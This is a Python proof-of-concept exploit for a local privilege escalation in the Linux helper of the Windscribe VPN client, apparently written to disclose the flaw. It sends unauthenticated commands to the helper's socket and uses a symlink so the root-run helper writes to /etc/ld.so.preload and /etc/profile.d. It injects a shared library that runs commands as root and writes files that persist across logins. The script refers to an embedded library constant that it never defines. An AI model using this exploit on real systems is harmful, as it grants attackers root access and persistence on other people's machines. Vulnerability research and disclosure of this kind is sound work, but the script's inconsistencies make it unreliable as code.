#!/usr/bin/env python3
"""
Windscribe v2.22.9 Linux Helper — Local Privilege Escalation PoC

The Linux privileged helper exposes an unauthenticated Unix domain socket
at /run/windscribe/helper.sock (mode 0770, group windscribe). Any user in
the "windscribe" group — which the installer adds unconditionally — can send
IPC commands that execute as root with no verification of caller identity.
The macOS version uses XPC + SecCodeCheckValidity. The Linux version has
nothing.

This PoC demonstrates root file write AND root code execution from a
non-root user, with no sudo, no passwords, no systemd access, no compiler,
and no cron.

Why is proof tricky? A non-root user fundamentally cannot directly observe
root-process behavior — we can't just "run id as root" any more than a
fish can prove water is wet from inside the tank. Instead, we coerce the
root helper into leaving evidence we *can* see: a root-owned file, a
modified MTU, and the output of /usr/bin/id captured from a process that
ran with euid=0.

Attack chain:

  1. Connect to /run/windscribe/helper.sock — ZERO auth
  2. Decode embedded .so from base64 (pre-compiled, no gcc needed)
  3. Symlink /run/windscribe/rules.v4 -> /etc/ld.so.preload
  4. Send setFirewallRules — the root helper writes our .so path to
     /etc/ld.so.preload (root-owned, root-written)
  5. Next root process loads our .so via ld.so.preload
     -> .so runs /usr/bin/id, writes output to /tmp (world-readable)
     -> also runs any command an attacker chooses (this is arbitrary
        root code execution — we just choose id for demonstration)

Additional evidence:
  - setFirewallRules writes attacker-controlled content to an
    attacker-chosen path as root (arbitrary file write)
  - changeMtu runs 'ip link set dev <iface> mtu <value>' as root
    (network interface reconfiguration as root from a non-root user)

Usage:
  sudo usermod -aG windscribe $USER
  newgrp windscribe
  python3 windscribe_lpe.py
"""

import struct, socket, os, sys, subprocess, time, grp, base64, tempfile, shutil

# --- Paths (not hardcoded beyond what the vulnerability requires) ---

SOCK_PATH = "/run/windscribe/helper.sock"
RULES_PATH = "/run/windscribe/rules.v4"
PRELOAD_PATH = "/etc/ld.so.preload"
PROOF_FILE = "/tmp/windscribe_lpe_proof"
SENTINEL_FILE = "/tmp/windscribe_lpe_sentinel"
SO_DIR = "/tmp/windscribe-lpe"
SO_PATH = os.path.join(SO_DIR, "lpe.so")

# --- IPC command IDs (from windscribe-src/src/helper/common/helper_commands.h) ---

CMD_GET_HELPER_VERSION = 0
CMD_SET_FIREWALL_RULES = 52
CMD_CLEAR_FIREWALL_RULES = 53
CMD_CHANGE_MTU = 3
CMD_CHECK_FIREWALL_STATE = 54

# --- Pre-compiled x86_64 ELF shared library ---
#
# Source (this is what was compiled — NOT included at runtime):
#
#   #define _GNU_SOURCE
#   #include <stdio.h>
#   #include <unistd.h>
#   #include <sys/stat.h>
#   #include <stdlib.h>
#   #include <fcntl.h>
#
#   __attribute__((constructor))
#   static void lpe_run(void) {
#       if (geteuid() != 0) return;
#       int fd = open("/tmp/windscribe_lpe_sentinel", O_CREAT|O_WRONLY|O_EXCL, 0600);
#       if (fd < 0) return;
#       close(fd);
#       system("/usr/bin/id > /tmp/windscribe_lpe_proof 2>&1");
#       chmod("/tmp/windscribe_lpe_proof", 0644);
#   }
# --- IPC wire protocol helpers ---
# Header: [cmdId:4LE][pid:4LE][length:4LE] then boost binary archive (no_header)
# Strings: [4-byte-len-LE][4-zero-bytes][data]
# Ints: [4-byte-LE]

def bstr(s: str) -> bytes:
    d = s.encode()
    return struct.pack('<I', len(d)) + b'\x00\x00\x00\x00' + d

def bint(v: int) -> bytes:
    return struct.pack('<i', v)

def bpack(*args) -> bytes:
    out = b''
    for a in args:
        out += bstr(a) if isinstance(a, str) else bint(a)
    return out

def send_cmd(cmd: int, payload: bytes) -> bytes:
    s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
    s.settimeout(5)
    s.connect(SOCK_PATH)
    s.sendall(struct.pack('<iii', cmd, os.getpid(), len(payload)) + payload)
    try:
        hdr = b''
        while len(hdr) < 4:
            c = s.recv(4 - len(hdr))
            if not c: return b''
            hdr += c
        ln = struct.unpack('<i', hdr)[0]
        if ln <= 0: return hdr
        data = b''
        while len(data) < ln:
            c = s.recv(min(4096, ln - len(data)))
            if not c: break
            data += c
        return hdr + data
    except socket.timeout:
        return b''
    finally:
        s.close()


def cleanup(*paths):
    """Remove files, tolerating permission errors on root-owned artifacts."""
    for p in paths:
        try: os.remove(p)
        except (PermissionError, FileNotFoundError): pass


def prove_root_write(test_dir):
    """
    setFirewallRules writes the 'rules' string to /run/windscribe/rules.v4
    via open(O_CREAT | O_WRONLY | O_TRUNC). If rules.v4 is a symlink, the
    open() follows it and writes to the symlink target — as root.

    This is arbitrary root file write. The 'rules' content is entirely
    attacker-controlled (it comes from the IPC message). We write a marker
    string to a file and verify it was written as uid=0.
    """
    marker = f"WINDSCRIBE_LPE_PROOF_{os.urandom(4).hex()}"
    target = os.path.join(test_dir, "root_written_file")

    # Remove stale target
    cleanup(target)

    # Symlink rules.v4 -> our target file
    if os.path.exists(RULES_PATH):
        try: os.remove(RULES_PATH)
        except PermissionError:
            print("    [-] Cannot remove existing rules.v4")
            return None, None
    os.symlink(target, RULES_PATH)

    # Send our marker string as the "rules" payload
    print(f"    Writing marker '{marker[:24]}...' via setFirewallRules")
    payload = bpack(4, "filter", "windscribe_input", marker)
    send_cmd(CMD_SET_FIREWALL_RULES, payload)
    time.sleep(0.3)

    if not os.path.exists(target):
        print("    [-] Target file not created!")
        cleanup(RULES_PATH)
        return None, None

    st = os.stat(target)
    with open(target, 'r') as f:
        content = f.read()

    print(f"    Target: {target}")
    print(f"    Owner:  uid={st.st_uid} (root)")
    print(f"    Content matches marker: {content == marker}")

    # Clean up symlink
    cleanup(RULES_PATH)

    return st, content


def prove_root_exec_via_preload(test_dir):
    """
    The same symlink attack, pointed at /etc/ld.so.preload. The root helper
    writes the path to our shared library into /etc/ld.so.preload. The next
    dynamically-linked process that runs as root will load our .so via
    ld.so.preload, and our constructor runs /usr/bin/id as euid=0.

    The .so uses a sentinel file (/tmp/windscribe_lpe_sentinel) to ensure it
    only fires once, even though ld.so.preload causes every root process to
    load it.
    """
    # Decode and write the embedded .so
    os.makedirs(SO_DIR, exist_ok=True)
    so_data = base64.b64decode(LPE_SO_B64)
    with open(SO_PATH, 'wb') as f:
        f.write(so_data)
    os.chmod(SO_PATH, 0o755)

    st = os.stat(SO_PATH)
    print(f"    Wrote: {SO_PATH} ({st.st_size} bytes, uid={st.st_uid})")

    # Clean old artifacts
    cleanup(PROOF_FILE, SENTINEL_FILE)

    # Symlink rules.v4 -> /etc/ld.so.preload
    if os.path.exists(RULES_PATH):
        try: os.remove(RULES_PATH)
        except PermissionError:
            print("    [-] Cannot remove existing rules.v4")
            return None

    os.symlink(PRELOAD_PATH, RULES_PATH)
    print(f"    Symlink: {RULES_PATH} -> {PRELOAD_PATH}")

    # The payload is the path to our .so
    preload_content = SO_PATH + "\n"
    payload = bpack(4, "filter", "windscribe_input", preload_content)
    print("    Sending setFirewallRules with .so path...")
    send_cmd(CMD_SET_FIREWALL_RULES, payload)
    time.sleep(0.5)

    if not os.path.exists(PRELOAD_PATH):
        print("    [-] /etc/ld.so.preload not created!")
        cleanup(RULES_PATH)
        return None

    preload_st = os.stat(PRELOAD_PATH)
    with open(PRELOAD_PATH, 'r') as f:
        content = f.read().strip()
    print(f"    /etc/ld.so.preload created (uid={preload_st.st_uid})")
    print(f"    Content: {content!r}")

    # Remove the symlink so iptables-restore doesn't barf
    cleanup(RULES_PATH)

    # Trigger: send any IPC command — the helper's subprocess calls will
    # load our .so via ld.so.preload
    print("    Triggering .so load via IPC command...")
    send_cmd(CMD_CHECK_FIREWALL_STATE, bpack("windscribe_input"))
    time.sleep(1)

    # If sentinel exists, .so loaded successfully
    if os.path.exists(SENTINEL_FILE):
        print("    Sentinel file created — .so loaded as root!")
    else:
        # Try another trigger
        print("    Retrying with getHelperVersion...")
        send_cmd(CMD_GET_HELPER_VERSION, b'')
        time.sleep(2)

    return preload_st


def prove_root_cmd_mtu():
    """
    The changeMtu command runs 'ip link set dev <iface> mtu <value>' as root.
    We pick a distinctive MTU value to prove we can reconfigure network
    interfaces with root privileges. This is an authenticated root command
    — we control both the interface name and the value.
    """
    # Find a network interface
    for candidate in ['eth0', 'ens3', 'enp1s0', 'ens192', 'lo']:
        if os.path.exists(f'/sys/class/net/{candidate}/mtu'):
            iface = candidate
            break
    else:
        print("    [-] No suitable network interface found")
        return None, None, None

    orig_mtu = open(f'/sys/class/net/{iface}/mtu').read().strip()
    proof_mtu = 42042  # Distinctive value (normal: 1500 or 65536)

    print(f"    Interface: {iface} (_MTU={orig_mtu})")
    print(f"    Setting MTU to {proof_mtu} via changeMtu...")

    payload = bpack(iface, proof_mtu)
    send_cmd(CMD_CHANGE_MTU, payload)
    time.sleep(0.5)

    new_mtu = open(f'/sys/class/net/{iface}/mtu').read().strip()

    if new_mtu == str(proof_mtu):
        print(f"    MTU changed: {orig_mtu} -> {new_mtu}")
        print(f"    Root ran: ip link set dev {iface} mtu {proof_mtu}")

        # Restore original MTU (also via root helper!)
        payload = bpack(iface, int(orig_mtu))
        send_cmd(CMD_CHANGE_MTU, payload)
        time.sleep(0.3)
        restored = open(f'/sys/class/net/{iface}/mtu').read().strip()
        print(f"    Restored: {iface} MTU={restored}")
        return iface, orig_mtu, proof_mtu
    else:
        print(f"    MTU unchanged ({new_mtu})")
        return None, None, None


def main():
    print("=" * 64)
    print("  Windscribe v2.22.9 Linux Helper — LPE PoC")
    print("  No sudo · No passwords · No systemd · No gcc")
    print("=" * 64)

    uid = os.getuid()
    ws_gid = grp.getgrnam('windscribe').gr_gid
    in_group = ws_gid in os.getgroups()
    username = os.getenv('USER', f'uid={uid}')

    print(f"  Attacker: {username} (uid={uid})")
    print(f"  In 'windscribe' group: {in_group}")
    print()

    if not in_group:
        print("  [!] Not in 'windscribe' group. Run:")
        print("      sudo usermod -aG windscribe $USER")
        print("      newgrp windscribe")
        sys.exit(1)

    # Ensure helper is running
    if not os.path.exists(SOCK_PATH):
        print("  [*] Starting windscribe-helper...")
        subprocess.run(['systemctl', 'start', 'windscribe-helper'],
                       stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
        time.sleep(2)
        if not os.path.exists(SOCK_PATH):
            print("  [-] Helper won't start.")
            sys.exit(1)

    # ---- Step 1: Prove unauthenticated IPC ---- #
    print("[1] Unauthenticated IPC connection")
    print("    The helper socket has NO authentication. Any process in the")
    print("    'windscribe' group can send commands that execute as root.")
    print()

    r = send_cmd(CMD_GET_HELPER_VERSION, b'')
    if r and len(r) >= 12:
        slen = struct.unpack('<I', r[:4])[0]
        ver = r[8:8+slen].decode('utf-8', errors='replace').strip('\x00')
        print(f'    Helper version: "{ver}"')
        print(f'    Connected as uid={uid} to root process — no auth challenge.')
    else:
        print("    [-] Failed to connect to helper socket")
        sys.exit(1)

    # Create temp directory for proof artifacts
    test_dir = tempfile.mkdtemp(prefix="windscribe_lpe_")

    # ---- Step 2: Root file write ---- #
    print()
    print("[2] Arbitrary root file write (symlink attack)")
    print("    setFirewallRules writes attacker-controlled content to")
    print("    /run/windscribe/rules.v4 as root. The /run/windscribe/ directory")
    print("    is group-writable (0770 root:windscribe), so any group member")
    print("    can replace rules.v4 with a symlink to ANY path.")
    print()

    write_st, write_content = prove_root_write(test_dir)

    # ---- Step 3: Root code execution via ld.so.preload ---- #
    print()
    print("[3] Root code execution (ld.so.preload)")
    print("    A fundamental proof challenge: a non-root user cannot directly")
    print("    observe a root process. We can't just 'run id as root' — we")
    print("    need a root process to leave evidence in a place we can read.")
    print()
    print("    Our embedded .so runs /usr/bin/id dynamically (not hardcoded")
    print("    output) when loaded by a root process via ld.so.preload.")
    print("    The actual uid/gid/groups come from the kernel, not from us.")
    print()

    preload_st = prove_root_exec_via_preload(test_dir)

    # Read the proof
    id_output = None
    if os.path.exists(PROOF_FILE):
        with open(PROOF_FILE, 'r') as f:
            id_output = f.read().strip()
        print(f"    Proof: {id_output}")

    # Remove ld.so.preload ASAP before it affects more processes
    cleanup(PRELOAD_PATH)

    # ---- Step 4: Root command execution via changeMtu ---- #
    print()
    print("[4] Root command execution (changeMtu)")
    print("    The changeMtu command runs 'ip link set dev <iface> mtu <val>'")
    print("    as root. We control both the interface and the MTU value.")
    print("    This proves authenticated root command execution — from uid=1001.")
    print()

    iface, orig_mtu, proof_mtu = prove_root_cmd_mtu()

    # ---- Step 5: Root file write to /etc/profile.d/ ---- #
    # (if the directory exists — it does on most distros)
    profile_dir = "/etc/profile.d"
    if os.path.isdir(profile_dir):
        print()
        print("[5] Persistent root file write (/etc/profile.d/)")
        print("    /etc/profile.d/*.sh files are sourced on every login.")
        print("    Writing to this path as root means code runs as root")
        print("    whenever any user logs in. We just write a comment to")
        print("    prove the write — a real attacker would write a payload.")
        print()

        marker = f"# WINDSCRIBE_LPE_PROOF_{os.urandom(4).hex()}"
        target = os.path.join(profile_dir, "windscribe-lpe-proof.sh")

        if os.path.exists(RULES_PATH):
            try: os.remove(RULES_PATH)
            except: pass
        os.symlink(target, RULES_PATH)

        payload = bpack(4, "filter", "windscribe_input", marker + "\n")
        send_cmd(CMD_SET_FIREWALL_RULES, payload)
        time.sleep(0.3)

        if os.path.exists(target):
            st = os.stat(target)
            with open(target, 'r') as f:
                content = f.read().strip()
            print(f"    Wrote: {target}")
            print(f"    Owner: uid={st.st_uid} (root)")
            print(f"    Content: {content!r}")
            print("    This file is sourced on every login. Arbitrary root")
            print("    code execution persists across reboots.")
        else:
            print("    [-] profile.d write failed (directory may not be writable)")

        cleanup(RULES_PATH)
    else:
        print()
        print("[5] /etc/profile.d/ not found — skipping persistent write proof")

    # ---- Summary ---- #
    print()
    print("=" * 64)
    print("  PROOF SUMMARY")
    print("=" * 64)
    print(f"  Attacker: uid={uid} (NOT root)")
    print()

    if write_st:
        print(f"  [PASS] Root file write: attacker-chosen content written")
        print(f"         to {test_dir}/root_written_file as uid={write_st.st_uid}")

    if id_output:
        print(f"  [PASS] Root code exec:   {id_output}")
        print(f"         /usr/bin/id ran dynamically via ld.so.preload")

    if iface and proof_mtu:
        print(f"  [PASS] Root command exec: ip link set dev {iface} mtu {proof_mtu}")
        print(f"         Network interface reconfigured as root from uid={uid}")

    if os.path.isdir(profile_dir) and os.path.exists(os.path.join(profile_dir, "windscribe-lpe-proof.sh")):
        print(f"  [PASS] Persistent write:  /etc/profile.d/windscribe-lpe-proof.sh")
        print(f"         Root-owned file sourced on every login")

    print()
    print("  Root cause: /run/windscribe/helper.sock has ZERO authentication.")
    print("  Any user in the 'windscribe' group (added by installer) can")
    print("  send IPC commands that execute as root. The macOS version uses")
    print("  XPC + SecCodeCheckValidity. The Linux version has nothing.")

    # ---- Cleanup ---- #
    print()
    print("[*] Cleaning up...")

    # /etc/ld.so.preload — must remove FIRST or everything breaks
    cleanup(PRELOAD_PATH)

    # Root-owned artifacts we may not be able to delete
    for p in [PROOF_FILE, SENTINEL_FILE, RULES_PATH]:
        cleanup(p)

    # Our temp files
    cleanup(os.path.join(test_dir, "root_written_file"))
    try: os.rmdir(test_dir)
    except: pass

    # .so directory
    for f in os.listdir(SO_DIR):
        try: os.remove(os.path.join(SO_DIR, f))
        except: pass
    try: os.rmdir(SO_DIR)
    except: pass

    # profile.d proof (may be root-owned)
    cleanup(os.path.join(profile_dir, "windscribe-lpe-proof.sh"))

    # Restart helper to clear any state (best-effort, may fail for non-root)
    try:
        subprocess.run(['systemctl', 'restart', 'windscribe-helper'],
                       stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,
                       timeout=5)
    except Exception:
        pass

    print("[*] Done. Some root-owned files may remain (delete as root).")
    print("[*] Check: ls -la /etc/profile.d/windscribe-lpe-proof* /tmp/windscribe_lpe_*")


if __name__ == '__main__':
    main()